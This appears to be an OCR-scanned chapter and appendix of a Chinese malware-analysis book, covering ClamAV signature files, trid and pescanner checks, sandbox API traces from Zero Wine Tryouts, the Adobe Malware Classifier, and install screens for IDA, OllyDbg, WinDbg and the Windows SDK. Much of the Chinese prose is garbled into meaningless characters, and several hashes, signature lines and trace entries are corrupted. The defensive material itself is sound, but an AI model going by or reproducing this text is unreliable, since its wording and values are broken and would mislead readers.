Official FAQ pytecode.cvd ver. 185 released on 29 May 2012 11:39 :0400 (sig count: 39)
Submit a file safebrowsing.cvd ver. 39130 released on 01 Jun 2012 14:00 :0400 (sig count: 1349119)
EOL policy
Bug tracker
Contacts Latest Development Release (Release Candidates)
Mews feeds
blog (28) There are no Release Candidates currently planned.
in the press (24)
misc (71) haare
___ T _— - |

A ClamAV $HE A T %
X B RATR R SO B4 N .ovd, HoA main.cvd AN FEAEHE E,


http://www.clamav.net/

daily.cvd & H Hr G R RRAE SR

ORI HPEE M E 2N daily.cvd 1, FRFRE 2GS
#l| main.cvd H7.

A R AR 5 0 R B AR LA
o fiHISCIFRARIHIE
o I SCAF N FR T SE RO AL P 41
o N BRIRAUER L HHLH
ClamAV HFF e, EIR 25T D AE AR 238 i 5 ST 7 ) SE LY .

ClamAV HJ M3t EATE T IARFIESCPEIR g U H fs o, KT BUE —
Ho

e Creating signatures for ClamAV

http://www.clamav.net/doc/latest/signatures.pdf

5.4.2 fREYE ovd SO

.ovd SCAFSERR EARAIE tar.gz ISR, FATRE OIS B 512 4S5l
)5, HUATLAH tar dr MR 4E T .


http://www.clamav.net/doc/latest/signatures.pdf

A4 stirling - [daily.cvd]

put JPiME) IRE(E) BF]| - #E(S) F|EOQ) MW} AT (H)
DﬁMPWﬂ%WM%LHWWW%AIW@M@Uﬂ%d@@
ﬁDDRESSH UU UI UE 03 04 05 0g 07 08 09 04 UB UC UD UE UF U12345B?89ﬁBCDEF

iF SB 08 UD UD UD UD DU DU 03 EC BD 5D ?3 23 :
92 2B RO BB Bl SE 2 B30 aesD 2B 1] Fs o YRR T e

15 BD EF 24 D8 12 05 4D 8F 24 64 44 BS OB ED 9B .A.x).aM.§;D408E
20 92 %N 21 GR RR RR AN AR R4 R N2 1F FF F7 F7  Of I'EY +&F% .

ﬁiﬂ : 0x00000000~0x000001FF 0x200(512)Bytes |0x00000200 | | = |4715878 Bytes [SHIF

A HBEFFSLET 512 N7

AT B gm i s MR k) 512 N7, AREHT R4 MUK tar.gz
FE e B

BAT 7B

$ cp main.cvd main.tar.gz

$ tar zxvf main.tar.gz

$ 1s

COPYING main.db main.hdb main.mdb main.tar.gz
main.cvd main.fp main.info main.ndb main.zmd

X B SRR SCAR I, FTIF 2 Ja BTl DU B B 2 1 SO



SIME R E EE PP 51 LSRR AT R A RS B

\Li 192.168.11.15:22 - k

J7IUE) BE[E) JEE) I AO-Q) > FEIW) ~LTH)

L 200:917 ch8a3d1dJebidafBebbhef3hf7ed0] i Trojan Downl cader-1420
168:a105bef ekl 481 68d048380eb847 7d0: Trojan . Downl oader-1421
168 cBlefBVbbeleefldef 320011674210  Trojan . Downl cader-1422
168:8b1b6320148122104f00440ea 2684 91 ' Trodan. Downl cader-1423
168 cal 2838307 9ab6d930ehda? ff00263] : Trojan . Downl cader-1424

ShbZ04 (4o R Rd 21 AT 94462 cf 2f 8 chlebd cBdY :Trojan . Bancog-2053

06984 D 2hfhE3dTE391059hT 912221341537 eda (Trojan . Banceg-2054

o630 20  edbbd 487 cdalba? 9c0fead 067 3490832 :Trojan . Bancog-2055

SE7016:d8b719h032db39500d900a881 fd225 :Trojan  Banceg-2056

ST0BE8  Behb721d 240241 Bdedea19e3ad 91 7ol Trojan  Bancog-2057

S706E8 e 34880877 220061 8494 202a68d7h0al :Trojan . Bancog-2058

993680 8T ShERAT 0B fdc 2 fB53R80haclblhfe (Trajan . Bances-2059

101408 :defiZafiblbhalelbaledcbl 7629383dd :Trojan . Bancog-Z060

B22092: 8223634 0c0a8:7034 3f6fb081 314 fadf :Trojan . Bancog-2061

A F AR Y457 H main.db
5.4.3  # A 2 B SR TELNE B
ﬁﬂ%dw&mT%ﬁi#ﬁﬁH%ﬂﬁm,W%ﬁﬁﬁﬁ%mﬁ

B, BT B A HAL— iy 4
B, FATAT LA —F trid f74 .

BT B

$ trid mal.exe
TrID/32 - File Identifier v2.00/Linux - (C) 2003-06 By M.Pontello
Definitions found: 3887
Analyzing...
Collecting data from file: mal.exe
38.4% (.EXE) Win32 Executable Generic (8527/13/3)
34.1% (.DLL) Win32 Dynamic Link Library (generic) (7583/30/2)
9.3% (.EXE) Winl16/32 Executable Delphi generic (2072/23)
9.0% (.EXE) Generic Win/DOS Executable (2002/3)
9.0% (.EXE) DOS Executable Generic (2000/1)

NN NN




IR ATT LA, mal.exe N .EXE B3 .DLL X AT ge
. SEPr_E, mal.exe Ft/&—> Win32 Executable Generic 3£

5.4.4 L A A F 04T 8 8% DL SE RS A S0P

1 ] pescanner 12> 7] CAAR $i8 SCAF ) o B0 Aan i H B s A A0 760 2 Bl
SEADLE = A I S

v BT

$ pescanner mal.exe

Meta-data

File: mal.exe

Size: 12345 bytes

Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5: XXXXXXXX XXX XXX XXX X XXX XXX XXXXXXXX

SHA1: XXXXXXXX XXX XXX XXX X XXX X XXX XXX XXX XXXXX

ssdeep:  XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Date: Ox2A425E19 [Fri Jun 19 22:22:17 1992 UTC] [SUSPICIOUS]
EP: 0x418001 .aspack 6/8 [SUSPICIOUS]

CRC: Claimed: 0x@, Actual: @xa62f [SUSPICIOUS]

Signature scans

Clamav: mal.exe: Trojan.Spy-68202 FOUND

H i bRra “SUSPICIOUS” Il H K/ “mI 587, tmteti, XBMEEHE
ARSI CHATRE S E M) o A, XLt 77 AN &) 5871
., Bf#EH IR Z SUSPICIOUS, tHIFANBERT & X mtfe— %= it

W B RES, FATEREE HIXAS EXE SCHFE 7 ASPack #EATHT
o



5.5 Hl Zero Wine Tryouts 7 #T% = 4

5.5.1 REMnux 5 Zero Wine Tryouts [1'][X 7]

Zero Wine Tryouts /& 73 /b — NGB TR, SR REMnux
AN[A. Zero Wine Tryouts 72 — MR A 3708 TH, REE S FAE
EEHATLLEREGR, IEHETTE. 5 REMiux AR ST, BEFEHE
B kAR A

e Zero Wine Tryouts

http://zerowine-tryout.sourceforge.net/
5.5.2  1zATHLHi
Zero Wine Tryouts iZ 77 IS QEMU E. $ AAE& K EXE 3 fF
Bi# PDF X AFE, Bl AEV R CORPIEED isfr, JHmih
H=.

Zero Wine Tryouts A R A HAZ KL A, 7 EHEELE QEMU LigfT,

BahG, B4eashiT i — HTTP iR%25, @it Wi a] bL FAR(F & )
EXE X347 9 o

H N E & — 3T Wine BIVYPFAIAE . Wine j& — N EEWSLE Linux.
BSD. Solaris. OS X Z£3F Windows #1% N iz1T Windows £ (PE X
) W T EE .
e Wine
http://www.winehq.org/

FEVD R s AT % A 2 AR H AR 75

5.5.3 ‘o~


http://zerowine-tryout.sourceforge.net/
http://www.winehq.org/

HAPKAE .

# start_img.bat Il zerowine.img & %] QEMU HJ H k', RIEELT
start_img.bat.

ZFEK, QEMU = Bz T, JFRaiBBRThRERSE, Ros S5
[l

HIMEA SR ARG, RKRETRIRELR LEg Rz 1. R EE XM,
A DME A R AR — 4 2 A A

e H/744: root; “$15: zerowinel
o H)'4 . malware; *f3: malwarel

I T FRATT 38 3 0] U 2805 9] http://localhost:8000 1X N Mk .

[ localhost:8000 %

€« - C [D localhost:8000 -ﬂ?"

Zero Wine Tryouts: A Malware Analysis Tool

Upload | View | Download | Search

Upload a sample
Select the sample file to upload and the options to analyze it.

Sample file (e.g. EXE file, DLL file, PDF file) | iEfdtif | ibdIfift
Tags (separate with comma)
Additional files (zip archive file) HEFESCIT | RIERMEFS
Dynamic analysis timeout at 20 seconds
Dump process memory at 0 seconds
Set Windows version to Windows XP SP3 B
Unpack sample file

B ET3

Windows is a registered trademark of Microsoft Corp. in the U.S. and other countries.

Copyright (<) 2008, 2009 Joxean Koret

A J53)] Zero Wine 3£ 7] http://localhost:8000



REVARTIE SRR

IEMMTT EFTERRRANEE, FAT R Bk EXE A48 PDF SO Jf
FE A AT A 00T 1 o RAEI IR A S ROANTR], A LM Al
e o BT FERT

5.5.4 I\ AT
TS G, AT L EE i

() localhost :BO00 cgi-bin,vi

L= C @ localhost: 8000/ cgi-bin/view.py w B ‘\n

Sample analysis result

Original file name: kates.exe

MD5: dlbfabe(3SeScBeaaaci4dlEd70a954b

SHA-1: 7a53645b88bBc065673970e43B8755b241277b30d

SHA-224: 47c32dSaedll4a553f4a76d926e2eeal4d8abb4d4680b13d3a051e80b

SHA-256: 4d73b21f1523f106edécl3df2863feadabldecb%eB3bbb2clb054 fbfba3bdde

SHA-384: 29d797c47d2b97083a58eabeefe5Tecdbal5e99dcTcl1973c090%b3b7d7fd1fdaT762575f29f0a044d064292
SHA-512:
19675b6bc9bcaa5616a352e396c252b374576d5d%a46403f1fcla%dd0cTeb3cBeb7604485%2a3a3FFf188442a750ebed€

| ceneral information:

i Report E rile headers )] File strings > Signatures ¥ Differe

0009:5tart ing process L7C:¥¥0GrAjeey.exa” (entryproc=0x418001)

0009 :Cal | KERHELBE Ehlpruchddfass(?adhﬂﬂﬂﬂ .l]l]dIBDBI

' 0008:Cal | KERNEL3Z.GetNodu|eHandle& (00413044 “kernel32.d117) ret=0041B045

'.'-rlual.nllﬂ: ) ret= DDMBDSh

a00a:Call

L33 .Get Prociddress( Tedb000!

EE

Wirtu

ree” )

ret=0l

alF 3
0009 :Cal | HERNELSE ¥irtualdl loc (00000000 pEIEIIJ[HBEID 0oootnon, 00000004 ret = EIEIMEIDI:Q
trace:loaddl | :f ree_modref Unloaded module L7G: ¥y ndovs¥¥sysLend2¥usthene-d1 1~ * bulltin

0003 :Call KERNEL32.Virtualidl|oc(00D00000O,00011F0e, DDDDII]EII] 00000004) ret=004180=0

000d:Cal | advanid?.AegdventeyExl (00000044, TecEbZeb L Progll” 00000000, 000Z0019,001334c4) ret=7ebf {398

000d:Cal | advapid2.ReghetValuel (00000044 00000000, FecBbdcO L"Content Type™,00000002,00000000,00000000 ,0033FE8c) ret=Tec00379
000d:Cal | KERNELAZ . Inter lockedDecrenant [EIEI1':]EI-1I:-|:J rei =Tebfflcd

000d:Cal | advapid2.Reed|oseker (00000044) rab=Tebff

T —

000d:Cal | advapi3?.Regl|osekey (D000000D) ret ?EhffIBc

trace: loaddl | :f ree_modref Unloaded module L7C:¥Melndovs¥esystendZ¥ishivapl.di1™ @ bulltin

0006 :Cal | KERMEL3Z “ExitProcessi00000000) reb=Tedalclf

000b:Call PE OLL [proc=0x7eaScE7c,nodule=0%7e8a0000 L userd2, 411", reason=PROCESS DETACH,res=0xl )
0008:Call PE DLL (proc=0uTeT047f6, nodule=0xTeBE0000 L vinex] .dry” reasons PROCESS DETACH, reg=0yl)
000b:Call PE DLL (proc=0xVe556%cd, nodules EIx'.'ES?DDI]EI L"imm32.d1 17, reazon=z PROCESS _DETACH , ress=| 0xl)

0004 :Cal | KERNEL3Z.T|sFree (D0DO0OO0D) ret=TeS5Zecd

00p:Call PE DLL (proc=0u7ed7cOE0,nodule= Uu'.'n:ldIJUIIIIII L"advapi3d2.d] |”.reason= PRCC‘ESS_IJENEH*res x1)
000b:Call PE DLL (proc=0x7ed]BEbd,module=0xTecc0OD0 L rpcrid.dl ™ ;reason=PROCESS DETACH,res=0xl |
0008:Call PE DLL (proc=OxTee54d58, nodu le=0xTedf 0000 L KERNEL32.d1 1™, reason=PROCESES DETACH, res=0x1)
000b:Gal | PE DLL [uruc:l]x?efcfdaLlUduIs;ﬂx?!FSDUﬂﬂ L*rtdl 1 .d1 17 sreason=PROCESS _DETACH . res=0x1)
000d:Call shlwvapi.AssacfueryEtring?(00000000,00000001,00132308, Tedb3 e, 00000000 ,0033Fa24] ret=Ted32ef3
000d :Cal | shel 132,102 (000B0000,0035F920 00000000, 7ebdz004,00337 9500 rei=TebScabl

000d:Cal | KERNEL3IZ.Interlockedncrenant (001318fc) rei=TecZbddd

000d:Cal | KERMEL3Z.Inter lockedDecrenent (001318Fc) rei=Teclbefd

000diGal | KERNELS2. Inter |ockedIncranant (001334bc) ret=Tebf {033 .

A Zero Wine Tryouts [ 77§74

TR A S LN IX By, X ERAE B

AR

NI

TP,

B AR AT




Report : API 5% %0 H H &

File headers : U3k DL KAH B HRFAE(S S

File strings : {60 2 1) 5747 £

Signatures : U FRFIERY

Differences : 217 {5 K AR SCAFFIE MR H &

V¥ Report

0009:Starting process L"C:\\*** exe" (entryproc=0x418001)

0009:Call KERNEL32.GetModuleHandleA(004190d4 "kernel32.d11")
ret=00418045

0009:Call KERNEL32.GetProcAddress

(7edb0000,004190e1 "VirtualAlloc") ret=0041805b
0009:Call KERNEL32.GetProcAddress

(7edbo000,004190ee "VirtualFree") ret=0041806f
0009:Call KERNEL32.VirtualAlloc

(00000000,00001800,00001000,00000004) ret=004180c2
trace:loaddll:free_modref Unloaded module

L"C:\\windows\\system32\\uxtheme.d11" : builtin
0009:Call KERNEL32.VirtualAlloc

(00000000,0001110e,00001000,00000004) ret=004180e0
000d:Call advapi32.RegOpenKeyExW

(00000044,7ec6b3e6 L"ProgID",00000000,00020019,001334c4)

ret=7ebff396
000d:Call advapi32.RegGetValuelW

(00000044 ,00000000,7ec6bdco L"Content Type",

00000002 ,00000000,00000000,0033168Cc) ret=7ec00379
000d:Call KERNEL32.InterlockedDecrement(001334bc) ret=7ebffoc3
000d:Call advapi32.RegCloseKey(00000044) ret=7ebff18b
000d:Call advapi32.RegCloseKey(00000000) ret=7ebff19c
trace:loaddll:free_modref Unloaded module

L"C:\\windows\\system32\\shlwapi.dl1l" : builtin
A

Vv File headers



—————————— TrID Signatures----------

(.EXE) Win32 Executable Generic (8527/13/3)

(.DLL) Win32 Dynamic Link Library (generic) (7583/30/2)
9.3% (.EXE) Winl16/32 Executable Delphi generic (2072/23)
(.EXE) Generic Win/DOS Executable (2002/3)

(.EXE) DOS Executable Generic (2000/1)

—————————— PEiD Signatures----------
ASPack 2.11 -> Solodovnikov Alexey

—————————— Parsing Warnings----------
Imported symbols contain entries typical of packed executables.

---------- DOS_HEADER----------
[ IMAGE_DOS_HEADER]

Ox0 ©Ox0 e _magic: Ox5A4D
Ox2 ©Ox2 e _cblp: 0x50
B

Vv File strings

A

kernel32.d1l

VirtualAlloc

VirtualFree

ExitProcess

user32.dll

MessageBoxA

wsprintfA

LOADER ERROR

The procedure entry point %s could not
be located in the dynamic link library
%sThe ordinal %u could not be located
in the dynamic link library %s
kernel32.d1l

GetProcAddress

GetModuleHandleA

LoadLibraryA

s




Vv Signature

0009:Starting process L"C:\\*** exe" (entryproc=0x418001)
End of signature. See report for more information.

Vv Differences

/home/malware/.wine/.update-timestamp
c:/*** exe
--- /home/malware/.winebackup/system.reg

2010-07-24 05:35:43.000000000 +0200
+++ /home/malware/.wine/system.reg

2012-05-22 14:22:56.000000000 +0200
@@ -14296 +14296 @@
-[Software\\Microsoft\\Windows\\CurrentVersion\\Fonts] 1279942537
+[Software\\Microsoft\\Windows\\CurrentVersion\\Fonts] 1337689369
@@ -19182 +19182 @@
-[Software\\Microsoft\\Windows NT\\CurrentVersion\\Fonts]
1279942537
+[Software\\Microsoft\\Windows NT\\CurrentVersion\\Fonts]
1337689369
@@ -20321 +20321 @@
)
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56 R=EECD NP BARFEAR

5.6.1 SEEAMN A ARIR RIS “F¥AK 60000

TN FRAT TR T — H90 Y B B B 1

1% 58 B s 0 B A TS 2 DL R 47 B 7 SO SRR, B2 IR 50 1) ) 2
O, BERAEFMEING”. SR, XF T IR EEE D B

b E AR RN, @ N T #3555 e 2, D3R
P2 FEAE G 2s ARG IN TF BE 26 100 R LA BAK R

RIS, WAIRE RSB eSS . ARERR,
1E 358 AT ARSI 21 60000 2% = 304 .

e McAfee Q1 Threats Report Reveals Surge in Malware and Drop in
SPAM

http://www.mcafee.com/cn/about/news/2011/q2/20110601-01.aspx
Rl AT UL ] GEMB AL A B o A S E BhAk, DU N AR
A EEA o (B RIS S B ) 20 M BE 8 58 4 E B4k, JRATT 0 T T 6 RF
E S AR AT AR Y i)
5.6.2 o K INTA F i

T ERJRR, SRR RIS T AR S BOR B . HAT, SR
PR AT Ail”,  BIJR AEOR, IEFERZ 32 R

o “URZEVIMVEMRKIAT N, SELLEEHRA
o “INEWNC/NIM LI, FerLBEwrE”

% _EXAE, R AEAREX SR AT R IEREAT RS, PR &
IR EERFAE R B R A

FF X, HAMRZ ORI S K 1 A &5, RN AT


http://www.mcafee.com/cn/about/news/2011/q2/20110601-01.aspx

BE ) — 3o R Ad H .
e Adobe Malware Classifier

http://sourceforge.net/projects/malclassifier.adobe/

T8 K51 B RS A T B AR, KA AR M i 21 A% O
Ao Aid, 2012 % 4 H, Adobe A" KAT T —F IR % E AR 5]

4% ___ Adobe Malware Classifier.

XA G ZE0] LT Windows RI AT SO (PE SO 34T % = A6
Fe 4 5 +2& F Python 4w 5 I

Adobe Malware Classifier .45 U/ S7 IR E:, 7759 5% H AR e P
AT VES)

GRS P AR I SR AR € B B A, W B A S R iR 1o
A

FAXTHE, A0SR AR RN RIRE A e N AREE A, MR AL R R
7~ 0,

BeAh, AR BRI EIER A2, NE7R UNKNOWN.
PRSIk, R AT iz ol B RHERRINAE R, FFaEE.

v AdobeMalwareClassifier.py

Results on dataset of ~130000 dirty, ~ 16000 clean files:
(False Positives, True Negatives, True Positives, rates

J48 FP TN TP FN TP Rate FP Rate Accuracy
7683 37171 130302 3451 ©.97419871 0.171289071 0.937662018
J48Graft FP TN TP FN TP Rate FP Rate Accuracy
6780 38074 129087 4666  0.96511480 0.151157087 ©.935915166
PART FP TN TP FN TP Rate FP Rate Accuracy
7074 36492 125060 9412  ©.93000773 0.162374329 0.907401791
Ridor FP TN TP FN TP Rate FP Rate Accuracy

7390 37935 114194 20930 0.84510523 0.163044677 0.843058149



http://sourceforge.net/projects/malclassifier.adobe/

X HLRRT KL 13 5B 16000 AN IEH B AT, Ffguit
BRI SR B HER

Hrp &84 FHifY FP. TN. TP. FN #2455, BAMCERE i
o

FP (False Positive, fRPHYE) : 1B H U R AUDE 2 AF
TN (True Negative, FEBI1H) : 4 15 SCHFH w9 IEH SO
TP (True Positive, F.FHE) « KR EHAHE & Z A
FN (False Negative, {5FPE) « BB 42 e N IEH S

TP Rate R~ F % 2 B HIE BB A=, HitBE AN
TP+(TP+FN), R 130302+(130302+3451)=0.97419871.

Je2., FP Rate MIZR7=8 IEH AR ADVEE IR, 458N
0.171289071.

1 J5 ) Accuracy RN HETRZ

(VSR 2y 1
o PR BAHENER IR (CEHEME « 90% LI
o IR AR E N IEH SR (BT « A F) 85%

85% F1 90% IR HE 10 Kt = m Al —Ik, Aty ar PLs i POkt
AT PRSI VE ST KRR — T

5.6.3  FHHAN & B 347 )k
TEHBEATHEE 1 =PRSS E AR —T .

v 17~



C:\>AdobeMalwareClassifier.py -v -f wsample@la.exe
Starting dump of wsample@la.exe

DebugSize: 28
ImageVersion: 0
TatRVA: 8868
ExportSize: 0
ResourceSize: 436

VirtualSize2: 1720
NumberOfSections:5

Stop

Processing all...

1 I8 IR I 45 R

1 J48GraftHiL B I &5
1 PART S50 [P Il 45 2R

) Ridor Bk ks 2

UNKNOWN  f &4k

fEIBAT T RN L v 38T, a) LS 7R VP A b i 3 A ME .

Adobe Malware Classifier #&i& i PE iﬁ:%ﬂ‘] fE kAW B A, I
MR DU AN B e 5 R B os e 445 18

wsample0la.exe Rm*’l\'f'z%?% HE IR AR 7, (B DIYAS B E =4
#en TR RIS

M BT A, 8RR B AT R SARAN A 12 St i) 44 5
J7a RAIRIR G, D EIEUAE R e O — R ST A = B

IR RGN L ATOR,  JEHAX & AT 7 T A SR EOGE,  17 HA L
SMNFARIETE, A4 FﬁﬁﬁﬁTulﬂmé/\ﬁlE%ﬁtEﬁﬁﬁnﬁﬁo



b =%
Al Z3E IDA
IDA [ Demo Al 50 2k Fi il v AN E 7 Ik 3k 4T T &,

https://www.hex-rays.com/products/ida/support/download.shtml

Demo fi I RRAS LU BOHT, (HHLDIREA PR A, a0 RBeAT AR50 R
AL, 3 8 LA P A 9 i

IDA HHT (2013/05) IECGHA AN 6.4, 3k A LA ) 5.0 fiiAs .
Ak, HTHREFENHETIEE IR e, BEIXTTH%E ki
LT .

.IDP. Support: Download Cer %

€& 2 C 8 hitps/www hex—rays.com/products//ida/suppart/download shtml W =

e

IDA Support: Download Center

Evaluation & Freeware versions of IDA

¢ DA demo download: evaluate a limited version of our disassembler
¢ IDA 5.0 Freeware: free for non-commercial use.

SDK & Utilities

s D4 SIEIKAS.-J-: develop processor modules, loaders and extensions - extended with the source of 30+ modules and
20+ loaders.

¢ Flair 6.4 add your own comnpiler libraries to the FLIRT engine.

¢ Tilib 6.4 create your own type libraries.

¢ Linux/Mac TWision 20020 port for the 1DA Interface - source code

¢ |oadint 6.4 create your own disassembler comment datahases

s |dsutils 6.4 create your own IDS files from DLLs.

o Owingraph v1,10: source code the Wingraph we wse and modified (GPL).

e PIM tool: the source code of our PIN tool. [t creates a debugoer backend out of Intel's PIN framework

A IDA M 0T Chttps://www.hex-


https://www.hex-rays.com/products/ida/support/download.shtml
https://www.hex-rays.com/products/ida/support/download.shtml

rays.com/products/ida/support/download.shtml )

M Demo hix %% # IDA demo download it 2=, A DL$R )40 2 il IDA
5.0 Freeware 1) N Ede, s N FEUTH .

Eﬁetup — IDA Pro Free ¥5.0

Welcome to the IDA Pro Free v5.0
Setup Wizard
This will install I0A Pro Free «5,.0 an your compuker,

It is recommended that vou clase all ather applications before
conkinuing.

Click. Mext ko continue, or Cancel ko exit Setup,

FREEWARE
Version 5.0

Hex-Rays 2010

E_ME!xt} | [ Cancel

A Setup



Eﬁetup — IDA Pro Free ¥5.0

License Agreement

Please read the following important information before continuing.

Please read the following License Agreement, Yiou must accept the terms of this
agreement before continuing with the installation,

ID& Pro Freeware 5.0

[

This Free wversion of IDA Prois licensed to you For non-commercial
use, Commercial use requires a normal IDA Pro license,

This license restriction supersedes other provisions in the standard
104 Pro license below.

The IDW Pro computer programs, hereafter described as "the software”
are licensed, nok sold, to wvou by Hex-Rays 54 pursuant bo the

kerms and conditions of this Agreement, Hex-Rays 54 reserves any
right not expressly granted ko wou. You own the media on which the

€

()1 accept the agreement

{31 do not accept the agreement

[ < Back ][ Mext = ] [ Cancel

A License Agreement

i%%% T accept the agreement.



Eﬁetup — IDA Pro Free ¥5.0

Select Destination Location
Whete should IDA Pro Free v5.0 be installed?

D Setup will install I8 Pro Free 5,0 into the following Folder,

To continue, click Mext, IF vou would like to select a different Folder, click Browse,

| [ Browse, ..

Ak leask 23,8 ME of free disk space is required.

[ < Back ” Mext = J [ Zancel

A EFLIRHX

Eﬁetup = IDA Pro Free 5.0

Select Additional Tasks
Which additional kasks should be perfarmed?

Select the additional tasks wou would like Setup to petform while installing IDW Pro Free
w5.0, then click Mext,

Additional icons:

Create a deskkop icon;

[ = Back ]L_ME!xt::- J [ Cancel




A RS EE R T

Esetup — IDA Pro Free v5.0

Ready to Install
Setup is now ready to begin installing I0A Pro Free «5.0 an your compuker,

Click. Install to continue with the installation, or click Back if wou wank to resview or
change any setkings.

Destination location:
C:¥Program Files¥IDA Free

Additional tasks;
Additional icons:
Create a deskkop icon

[ = Back ]| Install | [ Cancel

A RN E A



Eﬁetup — IDA Pro Free ¥5.0

Installing
Please wait while Setup installs IDA Pro Free 5.0 on yvour computer,

Exkracting files. ..
C:¥Program Files¥I04 Free¥ids¥win¥mfood0d.ids

Cancel

A ZEETG

Eﬁetup — IDA Pro Free ¥5.0

Completing the IDA Pro Free v5.0
Setup Wizard

Setup has finished installing IDA Pro Free wS.0 an your
computer, The application may be launched by selecting the
installed icons.

Click. Finish to exit Setup,

FREEWARE
Version 5.0

Hex-Rays 2010




A IR

NP IRIE DT I (Create a desktop icon) , “Z3EREFF LA H L
JICE — bR R HoAt AT $AT SOAFHE R BNX AN AR E, 5RO IDA

PREFTIFE o



A.2 ‘Z34% OllyDbg
OllyDbg I DA R Tl FR 356 %
http://www.ollydbg.de/

BT A 2.01, (HIXZ— Beta i, [RA A4 FH 1942 1.10 b
Ao

[ OllyDbe +1.10 x

¢« > C waw.ollydbgde ‘ﬂ? =

2 OllyDbg

IR;*;X VERSION 2.01 beta, updated 4x (19-Nov-2012) B
e (Enhanced plugin interface)
Beauirements

BHLT\Ld Off—topic 1: PaperBack — backups on the paper
e Off-topic 2: Jason — graphical interface to the Hercules S/370

Guick start
PDK emulator

I'/ ||| A NO SPYWARE
: Ui || 3 noADWARE
ggg 1?8;: A\ NO VIRUSES
Odhbgt OSl?.zig SOFTPEDIA
Flug110zip
Disasm.zip
Cmdline zip

certified by www.softpedia.com

. OllyDbg is a 32—hit assembler level analysing debugger for Microsoft® Windows® Emphasis on binary code
Tutorials . analysis makes it particularly useful in cases where scurce is unavailable. OllyDbg is a shareware, but you
Bun trace (Z—,'E) can download and use it for free. Special highlights are:

Load DLL (zig?
o Intuitive user interface, no cryptical commands
¢ Code analysis — traces registers, recognizes procedures, loops, API calls, switches,
tables, constants and strings
& Directly loads and debugs DLLs v

A OllyDbg M 71 (http://www.ollydbg.de/ )

OllyDbg WA % AL, R ELR NEM ZIP IR i I, R i se
PR BEE H ot al MEH 1.


http://www.ollydbg.de/
http://www.ollydbg.de/

A.3 ‘%I4% WinDbg
WinDbg 434 32 LA 64 A7 75N FAS .
e WinDbg (32 1 fix)
https://msdn.microsoft.com/zh-cn/windows/hardware/gg463016
e WinDbg (64 11 fix)

http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012

22 Windows 32 {ifi&MifiK x

&« - C https://msdn.microsoft.com/zh-cn/windows/hardware/gg463016 e =
28 Windows | FRA RS - Bl v o
fLFM| A iR/ A& AE B2 Windows 10 —

Windows 32 {\iRZASEIIAIR THE

EHAM: 5A 28H 2010%F
FRAE

< Window B T 2 X4 ATARA
o fIRH{ER 32 fEH TR
< Window B T EMLIATAR A

Window i T AH94 AT 4
LA ITHRA 6.12.2.633 - 20102 B 26 B

Windows 32 REAR0iEE TRIMERT RS AT THAFHRE, ZBHES Windows Software Development Kit (Windows
SDK) By—#Bo 6.

T# Windows SDK @i TH

A 32 f7 i Debugging Tools for Windows [ 5
LA T DAAE X DT B B 7 R 8 Bl e

5HTh AT LLE i Windows Software Development Kit (Windows SDK) ]
IR P BT ) L E ORI AT 2 8


https://msdn.microsoft.com/zh-cn/windows/hardware/gg463016
http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012

=. Download Microzoft Windo, %

— = C | [ www.microsoft.com/en—us/download/detalls aspe?id=6279

Software Categories Security Support Shop

B Microsoft Windows SDK for Windows 7 and .
B Framework 4

Larnguage: English

Download

The Windows SDK provides tools, compilers, headers, libraries,
code samples, and a new help system that developers can use to
create applications that run on Microsoft Windows.

@ Details

@ System Requirements

il i}

NET

Free PC update:

Security patches
Software update
Service packs

Hardhware driver

. & &

@ Run Microsoft Updz

Sign up for Team Fou ¥
| &

A Windows SDK M 171

Chttp://www.microsoft.com/en-us/download/details.aspx?id=8279 )


http://www.microsoft.com/en-us/download/details.aspx?id=8279

s Windows® SDK for Windows® 7 and .NET Framework 4

g’ Windows?® SDK Setup Wizard

Welcome ta the Setup Wizard.

You can now install the Microsoft® Windows®
Software Development Kit for Windows 7 and .NET
Framewoaork 4

This SDK provides headers, libraries, tools, samples,
YC++ 2010 compiler/CRT, and other resources to
help you dewvelop Windows applications using both
native and managed technologies, This SDK supports
developing on and for Windows 7, Windows Server
2008 R2, Windows Yista, Windows P and Windows
Server 2008, and targeting .NET Framewark wversion
4 and down level versions to 2.0.

A

[

~ Development Kit

I o winciows-
b Softw

g windows:
v Softw.

are _
Development Kit

are

[ Mext> J[ Cancel

A Setup



%& Windows® SDK for Windows® 7 and .MET Framework 4

i I windows:
g! End-User License Agreement .‘,, SOft\Na re .
- Development Kit

Y

MICROSOFT SOFTWARE LICENSE TERMS

MICROSOFT WINDOWS SOFTWARE DEVELOPMENT KIT FOR WINDOWS
7 and .NET FRAMEWORK 4

These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates)
and you. Please read them. They apply to the software named above, which includes the media on which you received
it, if ary. The terms also apply 1o any Microsoft

s updates,

*  supplements,

| £

Please read the End-User License fzreement carefully and select either *1 feree” or *1 Disagree.”

@1 feree’? (O 1 Disagres

[ Print ][ < Back ” Mext > ][ Cancel

A License Agreement

LT Agree, HANT—TL,



% Windows® SDK for Windows® 7 and .MET Framework 4

r Windowes®
Install Locations A b Software

~ Development Kit

findows SOK Setup will install content to the followine locations:
To ingtall to these folders, click Mext To install to a different folder, click Browse and select another folder.

Destination Folder for Tools

C#Program Files¥Microsoft SDEs¥Windoms¥v 1

Deztination Folder for Samples

C:¥Program Files¥Microzoft SDEs¥Windows¥w7 1¥5amples

[ < Back ]| Mext > |[ Cancel

A EPFLEEHF



%z Windows® SDK for Windows® 7 and .MET Framework 4

I windows:
@ Installation Options .‘T Software .
: Development Kit

Feature Description Detail

‘iindows Mative Gode Development

BD windows Native Code Development
D Samples

@[ windows Headers and Libraries ) o
Inztalle components that let wou develop native code applications.

Ihcluded are the Windows Headers and Libraries, Wisual C++

[ visual C++ Compilers Compilers, Toolz, and Samples for x86, x64, and fanium

Ejlil NET DEU_EIDPmEHt g architechures on Windows 7, Windows Wista, Windows XP, Windows
~[E] Intellisense and Reference Assemblies Server 2008 R2, Windows Server 2008, and Windaws 2003 RZ.
] Tools

2-E Common Utilities This feature and its children require 910.0 MEB of hard digk =pace.

- Microsoft Help System : .
-] application Uzrif?er Dk BacHRaquioments
-] windows Performance Toolkit el etz Required
-.[¥] Debugging Tools for Windows 2 HER BRElS
=-[] Redistributable Packages
.[0 Microsoft Visual C++ 2010
D Applicatiun Verifier Cownload Size Estimated Time
l:‘ Dehugging Tools 748 ME A5 Minutes
-] windows Performance Toolkit
[ < Back ] [ Mext > ] [ Cancel

A RPN TR
